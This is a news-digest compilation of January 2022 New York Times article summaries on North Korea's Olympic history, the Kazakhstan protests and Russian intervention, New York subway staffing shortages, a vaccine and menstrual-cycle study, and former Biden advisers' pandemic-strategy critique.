North Korea first showed up at the Olympic Summer Games in 1972 and has since participated in every Summer Games, except when it joined the Soviet-led boycott of the 1984 Summer Olympics and when it boycotted the 1988 Games hosted by rival South Korea. North Korean athletes have won 16 gold medals, mostly in weight lifting, wrestling, gymnastics, boxing and judo.

The 2018 Winter Olympics, held in the South Korean city of Pyeongchang, helped bring the two Koreas together. Kim Yo-jong, the only sister of North Korea's leader, Kim Jong-un, became the first member of the Kim family to cross the border into South Korea to [attend the opening ceremony](#).

Mr. Kim used the North's participation in Pyeongchang as a signal to start diplomacy after a series of nuclear and long-range missile tests. Soon, inter-Korean dialogue followed, leading to three [summit meetings](#) between Mr. Kim and Mr. Moon. Mr. Kim also met with President Donald J. Trump three times.

But since the [collapse](#) of Mr. Kim's diplomacy with Mr. Trump in 2019, North Korea has shunned official contacts with South Korea or the United States. The pandemic has [deepened](#) its diplomatic isolation and economic difficulties. On Wednesday, it launched what it called a [hypersonic missile](#).

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HEADLINE	01/06 Kazakhstan crisis threaten regional stability
SOURCE	<a href="https://www.nytimes.com/2022/01/05/world/asia/kazakhstan-protests.html">https://www.nytimes.com/2022/01/05/world/asia/kazakhstan-protests.html</a>
GIST	<p>Protests in Kazakhstan sparked by anger over surging fuel prices have intensified into something more combustible and bloody: clashes over the future direction of the country that have prompted a Russian-led military intervention and the killing of dozens of antigovernment demonstrators. Hundreds more have been injured.</p> <p>The thousands of angry protesters who have taken to the streets of Kazakhstan have created the biggest crisis to shake the autocratic Central Asian country since it gained independence in 1991. City Hall in Almaty, the country's largest city, was set ablaze. An angry mob took over the airport. Protesters set fire to police vehicles and to the regional branch of the ruling Nur Otan party.</p> <p>The police, in turn, accused demonstrators of being responsible for the death of 13 officers and leaving 353 injured.</p> <p>The events are a stark challenge to President Kassym-Jomart Tokayev less than three years into his rule and are destabilizing an already volatile region where Russia and the United States compete for influence. The protests also reflect widespread discontent about Kazakhstan's suffocating authoritarian government and with endemic corruption that has resulted in wealth being concentrated within a small political and economic elite.</p> <p><b>What led to the protests?</b></p> <p>Anger boiled over when the government lifted price caps for liquefied petroleum gas — frequently referred to by its initials, L.P.G. — a low-carbon fuel that many Kazakhs use to power their cars. But the protests have more deep-seated roots, including anger at social and economic disparities, aggravated by a raging pandemic, as well the lack of real democracy. The average salary in Kazakhstan is the equivalent of \$570 a month, <a href="#">according to</a> the government's statistics, but many people earn far less.</p> <p><b>What do the protesters want?</b></p>

As the protests have intensified, the demands of the demonstrators have expanded in scope from lower fuel prices to a broader political liberalization. Among the changes they seek is an election system for regional leaders, who are currently appointed by the president.

In short, protesters are demanding the ouster of the political forces that have ruled the country without any substantial opposition since 1991.

### **Why does unrest in Kazakhstan matter to the region and the world?**

Sandwiched between Russia and China, Kazakhstan is the world's largest landlocked country, bigger than the whole of Western Europe, though with a [population of just 19 million](#).

The latest demonstrations matter because the country has been regarded until now as a pillar of political and economic stability in an unstable region, even as that stability has come at the price of a repressive government that stifles dissent.

The protests are also significant as Kazakhstan has been aligned with Russia, whose president, Vladimir V. Putin, views the country — a body double of sorts for Russia in terms of its economic and political systems — as part of Russia's sphere of influence.

The intervention by the Collective Security Treaty Organization, a Russian version of NATO, is the first time that its protection clause has been invoked, a move that could potentially have sweeping consequences for geopolitics in the region.

For the Kremlin, the events represent another possible challenge to autocratic power in a neighboring country. This is the third uprising against an authoritarian, Kremlin-aligned nation, following pro-democracy protests in [Ukraine in 2014](#) and in [Belarus in 2020](#). The chaos threatens to undermine Moscow's sway in the region at a time when Russia is trying to assert its economic and geopolitical power in countries like Ukraine and Belarus.

The countries of the former Soviet Union are also watching the protests closely, and the events in Kazakhstan could help energize opposition forces elsewhere.

Kazakhstan also matters to the United States, as it has become a significant country for American energy concerns, with Exxon Mobil and Chevron having invested tens of billions of dollars in western Kazakhstan, the region where the unrest began this month.

Although it has close ties with Moscow, consecutive Kazakh governments have also maintained close links to the United States, with oil investment seen as a counterweight to Russian influence. The United States government has long been less critical of post-Soviet authoritarianism in Kazakhstan than in Russia and Belarus.

### **How has the government responded to the protests?**

Mr. Tokayev, the Kazakh president, has called the protesters "a band of terrorists," declared Kazakhstan under attack and asked the Russian-led military alliance to intervene. The government has also tried to quell the demonstrations by instituting a state of emergency and blocking social networking sites and chat apps, including Facebook, WhatsApp, Telegram and, for the first time, the Chinese app WeChat. Public protests without permits were already illegal. It also initially conceded to a few of the demonstrators' demands, dismissing the cabinet and announcing the possible dissolution of Parliament, which would result in new elections. But its moves have so far failed to tame discontent.

### **Who are the main political players in the country?**

Less than three years ago, Kazakhstan's aging president, [Nursultan Nazarbayev](#), now 81, resigned. A former steelworker and Communist Party leader, he rose to power in Kazakhstan in 1989, when it was still part of the Soviet Union. During his rule, he attracted enormous investments from foreign energy companies to develop the nation's oil reserves, which, at an estimated 30 billion barrels, are among the largest of all the former Soviet republics.



The last surviving president in Central Asia to have steered his country to independence after the Soviet Union collapsed, he handed power in 2019 to Mr. Tokayev, then speaker of the Upper House of the Parliament and a former prime minister and foreign minister.

Mr. Tokayev is widely perceived as the handpicked successor of Mr. Nazarbayev, who until recently was thought to wield considerable power, holding the title “Leader of the Nation” and serving as chairman of the country’s Security Council. But the revolt could be a decisive break with his rule. On Wednesday Mr. Tokayev dismissed Mr. Nazarbayev from his post as chairman of the council.

The new president, until now a loyalist, has been trying to carve out a stronger role for himself. That, in turn, has disoriented Kazakhstan’s bureaucracy and elites, and contributed to the government’s slow reaction to the protesters’ demands, analysts say.

#### **Is the Kazakh government stable?**

During his three-decade long rule, Mr. Nazarbayev won repeated elections with nearly 100 percent of the vote each time, often jailing political opponents or journalists who criticized him. Kazakhstan elected Mr. Tokayev in June 2019, but with lopsided election results in a tightly controlled vote marred by hundreds of detentions of demonstrators.

The election was denounced as unfair by observers from the Organization for Security and Cooperation in Europe. The result and the heavy-handed [police action against peaceful protesters](#) at the time suggested that while the country’s veteran leader had relinquished the presidency, the system he established during his long rule remained firmly in place.

Since coming to power, Mr. Tokayev has sought to promote a somewhat softer image than his predecessor and mentor. But human rights advocates say the autocratic structure built by his predecessor has proved resilient — until now, at least.

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HEADLINE	01/06 Kazakhstan crisis: Russia opportunity?
SOURCE	<a href="https://www.nytimes.com/2022/01/06/world/asia/kazakhstan-putin-russia.html">https://www.nytimes.com/2022/01/06/world/asia/kazakhstan-putin-russia.html</a>
GIST	<p>Long adept at stoking unrest in the West, President Vladimir V. Putin of Russia <a href="#">sent troops to the Central Asian nation of Kazakhstan</a> on Thursday to try to extinguish the latest in a series of dangerous fires to engulf the lands of the former Soviet Union, territory that Moscow views as its own sphere of influence but has struggled to keep calm.</p> <p>But if the turmoil in Kazakhstan has once again exposed the vulnerability of the strongman leaders the Kremlin has trusted to keep order, it has also presented Russia with yet another opportunity to reassert its influence in its former Soviet domain, one of Mr. Putin’s most cherished long-term goals.</p> <p>The arrival in Kazakhstan of 2,500 troops from a Russian-led military alliance amid continuing spasms of violent protest was the fourth time in just two years that Moscow has flexed its muscle in neighboring states — Belarus, Armenia and Ukraine being the other three — that the West has long tried to woo.</p> <p>The spectacle of a country like Kazakhstan “that seems big and strong” falling into disarray so quickly has come as a shock, said Maxim Suchkov, acting director of the Institute for International Studies at the Moscow State Institute of International Relations. But it has also shown how, with the exception of Ukraine, in the former Soviet republics that have tried to balance between East and West, “boom, you get a crisis and they turn to Russia.”</p> <p>And once Russian troops arrive, they seldom, if ever, go home. Mr. Suchkov said that the unrest in Kazakhstan can be seen as a “serious crisis that Russia is interested in turning into an opportunity.”</p>



Yet, many question how many brush fires can spring up around Russia's borders before a similar conflagration is ignited at home.

"If something like this can happen in Kazakhstan," said Scott Horton, a law lecturer at Columbia University who has advised officials in Kazakhstan and other Central Asian countries over two decades, "it can certainly happen in Russia, too."

Other analysts say that as much as Mr. Putin delights at unrest in Europe and the United States as evidence that democracy is failing, he takes little pleasure in turmoil on Russia's own doorstep, no matter what the short-term opportunity.

All the same, Mr. Horton said, "Putin is playing, or perhaps overplaying, a weak hand very well." It wouldn't be the first time.

After offering in August 2020 to provide what he called "comprehensive assistance" to help President Aleksandr G. Lukashenko of neighboring Belarus [halt a wave of huge protests](#), Mr. Putin then sent "peacekeepers" to stop a vicious war over disputed territory between Armenia and Azerbaijan. Russia has stationed more than 100,000 troops on its border with Ukraine to press demands that Kyiv abandon its yearslong flirtation with NATO.

Among the soldiers sent to Kazakhstan were members of the 45th Brigade, an elite Spetsnaz, or special forces, unit infamous for its operations in the first and second wars in Chechnya, the once restive but now brutally pacified Caucasus region of Russia. The brigade has also been active in South Ossetia, a region of Georgia at the center of that country's 2008 war with Russia; in Crimea, which Russia annexed in 2014; and in Syria.

How much this assertive role really contributes to Mr. Putin's longstanding goal of restoring Russian dominance over much of the former Soviet sphere is a matter of heated debate.

In Ukraine, it has mainly achieved the opposite, turning what had been a generally Russia-friendly population in large parts of the country into a sworn enemy. It has also set nerves on edge outside the former Soviet space and played into the hands of anti-Russian hawks, [reviving a previously dormant debate](#) in Sweden and Finland about whether they should join or at least more closely associate with NATO.

When Kazakhstan bolted from the Soviet Union three decades ago, it held the world's fourth-biggest stock of nuclear weapons, vast reserves of oil and so much promise and peril that Secretary of States James A. Baker III, rushed to the new country to try to cement ties by drinking vodka with its leader, Nursultan Nazarbayev, in the sauna and accepting blows from a tree branch.

"Get me the president of the United States on the phone," the American ambassador to Moscow at the time, Robert S. Strauss, who was also there, joked to the security detail. "His secretary of state is buck naked, and he's being beaten by the president of Kazakhstan."

Since then, Kazakhstan has given up its nuclear arms, welcomed American energy giants like Chevron and Exxon Mobil to develop its oil fields and become such a trusted partner that, in a message to its current leader last September, President Biden told President Kassym-Jomart Tokayev that "the United States is proud to call your country a friend."

Throughout, however, people have been beaten, not just playfully in the sauna but viciously in detention centers and on the street. While its record of repression may be less severe than in other former Soviet republics in Central Asia, like Turkmenistan and Uzbekistan, according to Amnesty International, it does include widespread "torture and other ill treatment in penitentiary institutions."

But in the post-Soviet revival of the Great Game, the 19th-century struggle between colonial powers across Central Asia, human rights have never been a particularly important factor in the calculations of the

United States — and even less so in those of its main competitors in the region, Russia and, over the past decade, China.

For Mukhtar Ablyazov, a Kazakh tycoon who fled into exile after falling out with his former patron, Mr. Nazarbayev, the current wave of protests and the Kazakh government's appeal to Moscow for military help to crush them is proof that the West miscalculated and handed Russia a big win.

Kazakhstan, he said on Thursday as Russian troops deployed, succeeded in "putting the international community to sleep" with promises of big contracts. "The result: Kazakhstan is now under the boot of Putin, who takes advantage of this to extend his power."

Steve LeVine, the author of "The Oil and The Glory," a chronicle of the struggle between Moscow and Washington in the region after the collapse of communism, said America's understanding of Kazakhstan in its early years as an independent state was "almost entirely" through the Tengiz oil fields.

But, he added, Kazakhstan still developed into a far more stable, prosperous and tolerant country than its neighbors. "Kazakhstan is not a democracy, but it is a Central Asian democracy," he said. "The region is run by strongmen."

Such leaders, to Mr. Putin's dismay, have proved surprisingly brittle, a fact that has repeatedly confronted the Kremlin along its borders with eruptions of the kind of discontent it has sought to keep bottled up at home. But their weakness has also made Mr. Putin the indispensable protector that they turn to in times of crisis.

Alexander Cooley, a professor of political science at Barnard College and an authority on Central Asia, said that Russia is unlikely to demand immediate concessions from President Tokayev but has gained strong leverage, upsetting Kazakhstan's previous efforts to avoid tilting too far toward either Moscow or Washington.

"Kazakhstan always tried to maintain a balancing act," he said. "This is all about regime survival. State security needs have been reconfigured to fit the needs of those in power."

The Kazakh authorities say that dozens of protesters have died in the unrest so far with many more injured, and that 18 security officers have been killed. If the clashes drag on, the Kremlin could wind up alienating a broad swath of the Kazakh population, which in large cities like Almaty often speaks Russian and had been relatively pro-Russian. That would repeat the scenario in Ukraine, where anti-Russian sentiment has become so strong it is unlikely to subside for years or decades.

But Mr. Tokayev, who took over as president in 2019 from Mr. Nazarbayev, the leader Mr. Baker joined in the sauna, is now beholden to Russia both for support in suppressing protesters and in removing Mr. Nazarbayev from his last post as head of the National Security Council on Wednesday. Such assistance is seldom offered free of charge, particularly not by as canny a tactician as Mr. Putin.

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HEADLINE	<b>01/06 Worker shortage toll NYC subway service</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/06/nyregion/nyc-subway-covid-omicron.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article">https://www.nytimes.com/2022/01/06/nyregion/nyc-subway-covid-omicron.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article</a>
GIST	<p>As a dizzying surge in coronavirus cases spurred by the fast-spreading Omicron variant has <a href="#">disrupted life in New York City</a> and undermined its economic recovery, its subway system — the nation's largest — has confronted a staggering worker shortage that has hampered its ability to keep trains running.</p> <p>On any given day this week, 21 percent of subway operators and conductors — about 1,300 people out of a work force of 6,300 — have been absent from work, according to the Metropolitan Transportation Authority, which oversees the city's subways, buses and two commuter-rail lines.</p>

The soaring jump in absent workers, which the transportation authority attributes to the virus, has meant a lack of personnel to keep up with the regular train schedules, leading officials to [suspend service](#) this week on three of the system's 22 subway lines and reduce schedules on many others, resulting in longer wait times.

The unraveling of train schedules is the latest hit to a transit network that has been battered by the pandemic, which has killed more than 150 workers and chased away [millions of daily riders](#) and the fares they pay, inflicting a brutal financial blow that threatens the system's future.

The worker shortage has not shut down service at any of the system's 472 subway stations — all those on the suspended lines are served by other trains. But the disruptions have led to longer commutes and travel delays for riders, a major challenge for transit officials who were hoping to lure back more passengers at the start of the year.

"I feel like it's been bad since Christmas," Jennifer Hall, 41, said Wednesday morning as she waited with her son for a D train in the Bronx.

The surge in worker absences comes as the transportation authority has already been contending with a [smaller work force](#) after a rush of retirements and a pandemic-related hiring freeze was lifted last February.

Unlike other public sector workers, transit agency employees are not bound by a vaccine mandate, but if they are not vaccinated they have to submit to weekly testing.

The staffing woes are also part of a larger pattern afflicting the travel industry and transportation agencies across the country. Airlines have contended with thousands of cancellations, some of them tied to pilots, flight attendants and others calling in sick with the coronavirus. Transit officials in [Washington, D.C.](#), and [Boston](#) have cut bus service because of rampant virus cases among employees.

The highly contagious Omicron variant has caused upheaval across New York City, [shutting down Broadway shows](#), restaurants and stores, and delaying [return-to-office plans](#).

Businesses, facing staffing shortages, have temporarily closed, including dozens of major bank branches across New York City. At JPMorgan Chase, for example, more than 20 branches were closed in Manhattan alone on Thursday, because of "the ongoing impacts of Covid, including staffing shortages," a spokesman said.

Though the city's public schools stayed open this week, in-person attendance was much lower than usual: About 30 percent of parents kept their children home from school through Wednesday.

Craig Cipriano, the interim president of the division of the transportation authority that runs the city's subway system, said officials first grew concerned about an increasing number of absent workers toward the end of December as the Christmas holiday approached.

"We have seen increased sick calls, more than we have seen in the past," he said. The number swelled through the end of the year, with unplanned absences currently more than three times higher than their typical levels before the pandemic.

The recent jump has eclipsed a similar wave of absences caused by the arrival of the Delta variant last summer, though in both cases, the worker shortage was nowhere near its peaks in the spring of 2020, when the pandemic first swept across the city.

But with New York at a virtual standstill then, there were fewer passengers to notice the upheaval. Subway ridership this week stood at about 40 percent of prepandemic numbers, transit officials said. That is a drop from levels that climbed above 50 percent in November but still represents millions of passengers.

On Wednesday morning, as city residents on the affected lines traveled to their first workdays and school days of the year, many griped about the virus-related interruptions to their schedules.

Amanda Aponte, 51, said she had experienced delays as long as 20 minutes waiting for the D train to take her from the Bronx to Manhattan for medical appointments. When the trains do arrive, she said, the cars have been more packed than usual.

“Normally I try to leave at 8:45 a.m.,” she said, as she stood on the platform at the Fordham Road station at 8 a.m. “Today I said, ‘Let me just take my chances and get there earlier.’”

Mr. Cipriano said that he and other transit officials believed the delays had been relatively minimal. But as riders waited for their trains on Wednesday, they disputed his assessment, saying that train service had become frustratingly unreliable and that they have had to shuffle their schedules to get places on time.

Luis Toledo, 37, who was waiting for a train in the Bronx, said he has had to leave home 15 minutes earlier to arrive on time to his job as a porter in Manhattan.

“That’s the only way I can get to my job,” Mr. Toledo said. “I hope they do something about it.”

Henry Raine, a librarian, used to be able to hop on a B train in the Bronx and ride 16 stops to the 81st Street station in Manhattan, a trip that — on a good transit day — used to take about 30 minutes. But the suspension of the B line meant that his commute now required the use of two lines and is taking as long as 45 minutes.

The subways are not the only transit service affected. Bus service in the city, a vital link in many neighborhoods where the subway does not reach, was running at about 85 percent of normal levels, Mr. Cipriano said. About 3,100 of the transportation authority’s 12,000 bus operators, or roughly 26 percent, were out on unplanned absences this week.

It was unclear on Thursday morning just when subway and bus service might be fully restored. To some extent, transit worker shortages have been a hallmark of the pandemic recovery both in New York and across the nation. For months, the M.T.A.’s refrain on social media and its website has been “we’re running as much service as we can with the crews we have available.”

Still, Mr. Cipriano said there was reason to believe that the suspensions and delays caused by virus-related worker absences would soon ease, though he would not specify when. Already this week, he said, the absentee numbers showed signs they may be reversing.

Transit employees who test positive for the virus get up to two weeks of sick leave beyond their standard sick time, which is 12 days per year. In the transit authority’s guidance to employees, which mirrors recent guidance from the federal Centers for Disease Control and Prevention, it suggests that vaccinated workers who test positive for Covid-19 must isolate for at least five days and can return to work only if they have been without a fever for three days, have no runny nose and a “minimal cough.”

Unvaccinated workers who have tested positive or been exposed to the virus must isolate for 10 days before returning to work.

Transit officials have said that about 80 percent of their roughly 67,000 employees were vaccinated, and that they were unlikely to impose a stricter vaccine requirement out of concern that it might further disrupt service at a time when the system can scarcely afford it.

Still, Mr. Cipriano said that even if worker absences continued to grow, he did not foresee a situation in which round-the-clock subway and bus service would cease. Officials would most likely increase the gaps between train and buses, as they had done at various points throughout the pandemic, but stations and bus stops would continue to be served in some capacity.

	"No real doomsday scenarios," he said.
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HEADLINE	<b>01/06 Study: vaccine impact to menstrual cycle</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/06/health/covid-vaccine-menstrual-cycles.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article">https://www.nytimes.com/2022/01/06/health/covid-vaccine-menstrual-cycles.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article</a>
GIST	<p>Shortly after coronavirus vaccines were rolled out about a year ago, women started reporting erratic menstrual cycles after receiving the shots.</p> <p>Some said their periods were late. Others reported heavier bleeding than usual or painful bleeding. Some postmenopausal women who hadn't had a period in years even said they had menstruated again.</p> <p>A study published on Thursday found <a href="#">that women's menstrual cycles did</a> indeed change following vaccination against the coronavirus. The authors reported that women who were inoculated had slightly longer menstrual cycles after receiving the vaccine than those who were not vaccinated.</p> <p>Their periods themselves, which came almost a day later on average, were not prolonged, however, and the effect was transient, with cycle lengths bouncing back to normal within one or two months. For example, someone with a 28-day menstrual cycle that starts with seven days of bleeding would still begin with a seven-day period, but the cycle would last 29 days. The cycle ends when the next period starts and would revert to 28 days within a month or two.</p> <p>The delay was more pronounced in women who received both vaccine doses during the same menstrual cycle. These women had their periods two days later than usual, the researchers found.</p> <p>The study, in the journal <i>Obstetrics &amp; Gynecology</i>, is one of the first to support anecdotal reports from women that their menstrual cycles were off after vaccination, said Dr. Hugh Taylor, the chair of the department of obstetrics, gynecology and reproductive sciences at Yale School of Medicine.</p> <p>"It validates that there is something real here," said Dr. Taylor, who has heard about irregular cycles from his own patients.</p> <p>At the same time, he added, the changes seen in the study were not significant and appeared to be transient.</p> <p>"I want to make sure we dissuade people from those untrue myths out there about fertility effects," Dr. Taylor said. "A cycle or two where periods are thrown off may be annoying, but it's not going to be harmful in a medical way."</p> <p>He had a different message for postmenopausal women who experience vaginal bleeding or spotting, whether after vaccination or not, warning that they may have a serious medical condition and should be evaluated by a physician.</p> <p>One serious drawback of the study, which focused on U.S. residents, is that the sample is not nationally representative and cannot be generalized to the population at large.</p> <p>The data were provided by a company called Natural Cycles that makes an app to track fertility. Its users are more likely to be white and college educated than the U.S. population overall; they are also thinner than the average American woman — weight can affect menstruation — and do not use hormonal contraception.</p> <p>For women in their childbearing years, the findings should be reassuring, said Dr. Diana Bianchi, the director of the Eunice Kennedy Shriver National Institute of Child Health and Human Development. (The National Institutes of Health's Office of Research on Women's Health and N.I.C.H.D. helped fund the</p>

study, as well as related research projects at Boston University, Harvard Medical School, Johns Hopkins and Michigan State University.)

“Their providers can say, ‘If you have an extra day, that is normal, it’s not something to be concerned about,’” Dr. Bianchi said.

The study was carried out by researchers at Oregon Health & Science University and the Warren Alpert Medical School of Brown University, in collaboration with investigators from Natural Cycles, whose app is used by millions of women around the world.

De-identified data from users who consented to have their information incorporated into the research provided a trove of evidence about how women’s cycles changed during the pandemic.

Researchers looked at records from nearly 4,000 women who had meticulously tracked their menstruation in real time, including about 2,400 who were vaccinated against the coronavirus and about 1,550 who were not. All were U.S. residents aged 18 to 45 who had logged their periods for at least six months.

For those who were vaccinated, the researchers examined the three cycles before and after the vaccine to look for changes, comparing them with a similar six-month duration in women who did not receive a vaccination.

Overall, vaccination was associated with less than a full day’s change in cycle length, on average, after both vaccine doses, compared with pre-vaccine cycles. The unvaccinated group saw no significant changes over the six months.

Future studies using the database will examine other aspects of menstruation, such as whether periods were heavier or more painful after vaccination.

The findings of the new study may not apply equally to all women. Indeed, much of the change in cycle length was driven by a small group of 380 vaccinated women who experienced a change of at least two days in their cycle, said Dr. Alison Edelman, a professor of obstetrics and gynecology at Oregon Health & Science University and the paper’s lead author.

Some women who were vaccinated had cycles that were eight days longer than usual, which is considered clinically significant, Dr. Edelman said.

“Though the cycle length was less than one day different at the population level, for an individual, depending on their perspective and what they’re relying on menses for, that could be a big deal,” she said. “You might be expecting a pregnancy, you might be worrying about a pregnancy, you might be wearing white pants.”

It’s not clear why the menstrual cycle might be affected by vaccination, but most women with regular periods experience an occasional unusual cycle or missed period. Hormones secreted by the hypothalamus, the pituitary gland and the ovaries regulate the monthly cycle, and they can be affected by environmental factors, stressors and life changes.

(The changes observed in the study were not caused by pandemic-related conditions, the authors said, since women in the unvaccinated group were also living in the pandemic.)

Whether other vaccines affect menstruation is not known — clinical trials of vaccines and therapeutics do not generally track menstrual data points, unless investigators are specifically testing therapeutics as contraceptives or fertility enhancers, or they want to rule out pregnancy.

“We’re hoping this experience will encourage vaccine manufacturers and clinical trials of therapeutics to ask questions about the menstrual cycle, the same way you’d include other vital signs,” Dr. Bianchi said.

	<p>The information is important, just like knowing that one may experience a headache or develop a fever after vaccination, Dr. Edelman said.</p> <p>“Individuals who menstruate spend a week out of every month, sometimes more, having to deal with menstruation,” Dr. Edelman said. “If you add up the time over 40 years, it’s practically ten years of menstruation.”</p>
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HEADLINE	<b>01/06 Need new domestic pandemic strategy?</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/06/us/politics/former-biden-advisers-pandemic-strategy.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article">https://www.nytimes.com/2022/01/06/us/politics/former-biden-advisers-pandemic-strategy.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article</a>
GIST	<p>WASHINGTON — On the day President Biden was inaugurated, the advisory board of health experts who counseled him during his transition officially ceased to exist. But its members have quietly continued to meet regularly over Zoom, their conversations often turning to frustration with Mr. Biden’s coronavirus response.</p> <p>Now, six of these former advisers have gone public with an extraordinary, albeit polite, critique — and a plea to be heard. In <a href="#">three opinion articles</a> published on Thursday in The Journal of the American Medical Association, they called for Mr. Biden to adopt an entirely new domestic pandemic strategy geared to the “new normal” of living with the virus indefinitely, not to wiping it out.</p> <p>The authors are all big names in American medicine. Several, including Dr. Luciana Borio, a former acting chief scientist at the Food and Drug Administration, and Dr. David Michaels, a former head of the Occupational Safety and Health Administration now with George Washington University’s School of Public Health, have held high-ranking government positions. Dr. Ezekiel Emanuel, an oncologist, medical ethicist and University of Pennsylvania professor who advised former President Barack Obama, organized the effort.</p> <p>Like any White House, Mr. Biden’s prizes loyalty and prefers to keep its differences in house; in that regard, the articles are an unusual step. The authors say they wrote them partly because they have not made headway talking directly to White House officials.</p> <p>“From a macroperspective, it feels like we are always fighting yesterday’s crisis and not necessarily thinking what needs to be done today to prepare us for what comes next,” Dr. Borio said.</p> <p>The authors shared the articles with White House officials before they were published, but it was unclear whether the administration would adopt any of their suggestions. Dr. Anthony S. Fauci, Mr. Biden’s top medical adviser for the pandemic, declined to comment on the articles.</p> <p>The White House press secretary, Jen Psaki, told reporters she had not read the articles, and dismissed a question about whether the president “is coming around to accepting” that Covid-19 is here to stay, even though <a href="#">several recent media accounts</a> suggested that the administration was beginning to operate under that assumption. Mr. Biden’s recent emphasis on keeping schools open and businesses running even when cases are soaring also suggests a recalibration, as does <a href="#">a recent decision by the Centers for Disease Control and Prevention</a> to recommend that people with Covid isolate for five days instead of 10.</p> <p>“The president’s goal is to defeat the virus,” Ms. Psaki said, adding, “The president’s focus and objective now is to save as many lives as possible.”</p> <p>Outlining their ideas for the “new normal” strategy, Dr. Emanuel and two co-authors — Michael T. Osterholm, an epidemiologist at the University of Minnesota, and Dr. Celine Gounder, an infectious disease expert at New York University — pointedly noted that in July, Mr. Biden proclaimed that “we’ve gained the upper hand against this virus,” which in retrospect was clearly not the case.</p>



Now, with the Omicron variant fueling an enormous new surge, they wrote, the United States must avoid becoming stuck in “a perpetual state of emergency.” The first step, they wrote, is recognizing that the coronavirus is one of several respiratory viruses circulating, and developing policies to address all of them together.

To be better prepared for inevitable outbreaks — including from new coronavirus variants — they suggested that the administration lay out goals and specific benchmarks, including what number of hospitalizations and deaths from respiratory viruses, including influenza and Covid-19, should prompt emergency mitigation and other measures.

In addition to urging the administration to adopt a longer view, the authors took pointed issue with some of Mr. Biden’s current policies and stances — especially on political lightning rod issues. They called for more aggressive use of vaccine mandates, which have drawn fierce opposition from Republicans, and said the nation needed a digital verification system for vaccination — so-called vaccine passports — which Mr. Biden has resisted in the face of Republican attacks on the concept.

“Relying on forgeable paper cards is unacceptable in the 21st century,” wrote Dr. Borio, Dr. Emanuel and Dr. Rick Bright, the chief executive of the Rockefeller Foundation’s Pandemic Prevention Institute.

The most surprising thing about the articles is that they were written at all. Several of the authors said in interviews they were dismayed that the administration seemed caught off guard by the Delta and Omicron variants. Dr. Bright, who helped write two of the pieces, recalled the warning he issued when the advisory board had its last meeting on Jan. 20, 2021.

“The last thing I said,” he recalled, “is that our vaccines are going to get weaker and eventually fail. We must now prepare for variants; we have to put a plan in place to continually update our vaccines, our diagnostics and our genomics so we can catch this early. Because the variants will come, and we should never be surprised and we should never underestimate this virus.”

Mr. Biden published a pandemic strategy when he came into office, and Dr. Emanuel said the administration “executed very well on it through June,” until the Delta variant brought a new surge of cases. The president recently released a new winter strategy, just as the Omicron variant began spreading in the United States.

Many of the steps the authors suggest — including faster development of vaccines and therapeutics; “comprehensive, digital, real-time” data collection by the C.D.C.; and a corps of “community public health workers” — are already part of Mr. Biden’s plans.

He has [taken steps to control the spread of Omicron](#) and to ensure that hospital systems do not get overwhelmed. He has sent military troops to states including Wisconsin and Indiana to help out at hospitals, and has opened new testing sites in New York and elsewhere. He has insisted there will be no lockdowns, and has repeatedly pleaded with Americans to get vaccinated.

“I honest to God believe it’s your patriotic duty,” Mr. Biden said recently.

But Dr. Bright said such language was turning off Americans, including many Trump voters, who are resistant to vaccines.

“The message continues to berate unvaccinated people and almost bully unvaccinated people,” said Dr. Bright, who led a federal biomedical agency during the Trump administration but [quit the government](#) after being demoted for complaining about political interference in science. “There are so many reasons people are unvaccinated; it’s not just because they follow Trump.”

The authors say the administration needs to look past Omicron and acknowledge that it may not mark the end of the pandemic — and to plan for a future that they concede is unknowable. They also make clear

that the [current rate of Covid hospitalizations and deaths](#), an average of more than 1,300 lives lost each day in the United States, is unacceptably high.

In the three articles — [one proposing a new national plan](#), the others suggesting improvements to [testing, surveillance, vaccines and therapeutics](#) — the authors also make more specific suggestions.

They call for next-generation Covid vaccines that would target new variants or perhaps take new forms, like nasal sprays or skin patches, that would be easier to distribute; for a “universal coronavirus vaccine” that would combat all known coronaviruses; and for major upgrades to public health infrastructure. And while they said the president’s pledge to buy 500 million rapid coronavirus tests and distribute them free was “an important step,” they wrote that “many more are needed.”

The authors also said that vaccine mandates should be imposed more broadly, including for schoolchildren, and that N95 masks should be made free and readily available to all Americans, as should oral treatments for Covid. (Mr. Biden has imposed several vaccine mandates on workers, but they are tied up in court.)

Dr. Gounder said she had been disappointed by the administration’s “single-minded focus on vaccines” and with its decreasing emphasis on mask-wearing. Dr. Borio said she had been “very frustrated” that there was no federal system linking testing to treatments, so that people who tested positive and were at high risk for Covid complications could get prescriptions on the spot for new antiviral medicines.

Dr. Emanuel — brother to Rahm Emanuel, Mr. Obama’s first chief of staff and Mr. Biden’s ambassador to Japan — echoed that sentiment. If the distribution of new therapies is left to “the usual health care system,” he said, only “rich, well-connected people” would have access.

The articles reflect both their frustrations and their desire to help, the authors said. They recognize that they have the luxury of taking a 30,000-foot view while administration experts are slogging it out in the trenches.

“But at the same time,” Dr. Bright said, “we think a lot of work still needs to be done.”

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HEADLINE	<b>01/06 Cities struggle: essential workers sidelined</b>
SOURCE	<a href="https://www.nytimes.com/live/2022/01/06/world/omicron-covid-vaccine-tests#us-cities-struggle-to-maintain-services-as-the-virus-sidelines-essential-employees">https://www.nytimes.com/live/2022/01/06/world/omicron-covid-vaccine-tests#us-cities-struggle-to-maintain-services-as-the-virus-sidelines-essential-employees</a>
